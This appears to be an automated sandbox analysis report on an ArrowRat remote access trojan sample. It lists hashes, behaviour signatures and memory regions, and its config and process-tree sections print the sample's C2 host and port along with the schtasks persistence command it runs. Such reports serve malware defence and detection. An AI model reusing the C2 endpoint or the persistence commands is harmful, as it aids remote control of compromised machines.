Overview

overview

10

Static

static

3

e659861670...27.exe

windows7-x64

10

e659861670...27.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 12:39

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General

  • Target

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe

  • Size

    300.0MB

  • MD5

    135b97e053b660f8e6cacd58965b93cd

  • SHA1

    828e92ad30ac243ec063252a338519e4429940e3

  • SHA256

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027

  • SHA512

    6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c

  • SSDEEP

    12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Score
10/10
arrowratclientdiscoverypersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe
    "C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4508
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
        3⤵
          PID:3220
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1864
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:3240
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:872
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4432
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1100
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4316
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2312

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133716552246071865.txt
      Filesize

      75KB

      MD5

      f2e0a4a0f47fd6156de14187692e5e84

      SHA1

      d6d5050e1e5e36dff9c02dfc30cc25ab7b989661

      SHA256

      53fea24fc8f44db32ce30e867062eea4074106255e69a9e5f373f0b40f25e52f

      SHA512

      d913a052b284df60f5006f312d868cdd0364b66b73c448a1c565bf8f6ecde9e053db317c111573c2f3f599263d204e8b5b346a787d489b6f403b9341d0ecd933

      Download Submit

    • memory/1864-12-0x0000000000400000-0x0000000000416000-memory.dmp

      Filesize

      88KB

      Download

    • memory/1864-18-0x0000000005F60000-0x0000000005FB0000-memory.dmp

      Filesize

      320KB

      Download

    • memory/2312-59-0x0000027F63F40000-0x0000027F63F60000-memory.dmp

      Filesize

      128KB

      Download

    • memory/2312-41-0x0000027F638A0000-0x0000027F638C0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/2312-28-0x0000027F638E0000-0x0000027F63900000-memory.dmp

      Filesize

      128KB

      Download

    • memory/2312-23-0x0000027761540000-0x0000027761640000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/4028-10-0x0000000004F20000-0x0000000004FBC000-memory.dmp

      Filesize

      624KB

      Download

    • memory/4028-13-0x0000000074A50000-0x0000000075200000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4028-9-0x0000000000400000-0x0000000000460000-memory.dmp

      Filesize

      384KB

      Download

    • memory/4028-176-0x0000000074A50000-0x0000000075200000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4028-11-0x0000000074A50000-0x0000000075200000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4508-21-0x00000000032D0000-0x00000000032D1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4972-15-0x0000000074A50000-0x0000000075200000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4972-8-0x0000000074A50000-0x0000000075200000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4972-6-0x0000000005CE0000-0x0000000005CEA000-memory.dmp

      Filesize

      40KB

      Download

    • memory/4972-7-0x0000000074A5E000-0x0000000074A5F000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4972-5-0x0000000074A50000-0x0000000075200000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4972-4-0x0000000005A60000-0x0000000005AC6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4972-3-0x00000000059C0000-0x0000000005A52000-memory.dmp

      Filesize

      584KB

      Download

    • memory/4972-2-0x0000000005ED0000-0x0000000006474000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/4972-0-0x0000000074A5E000-0x0000000074A5F000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4972-1-0x00000000008F0000-0x00000000009AC000-memory.dmp

      Filesize

      752KB

      Download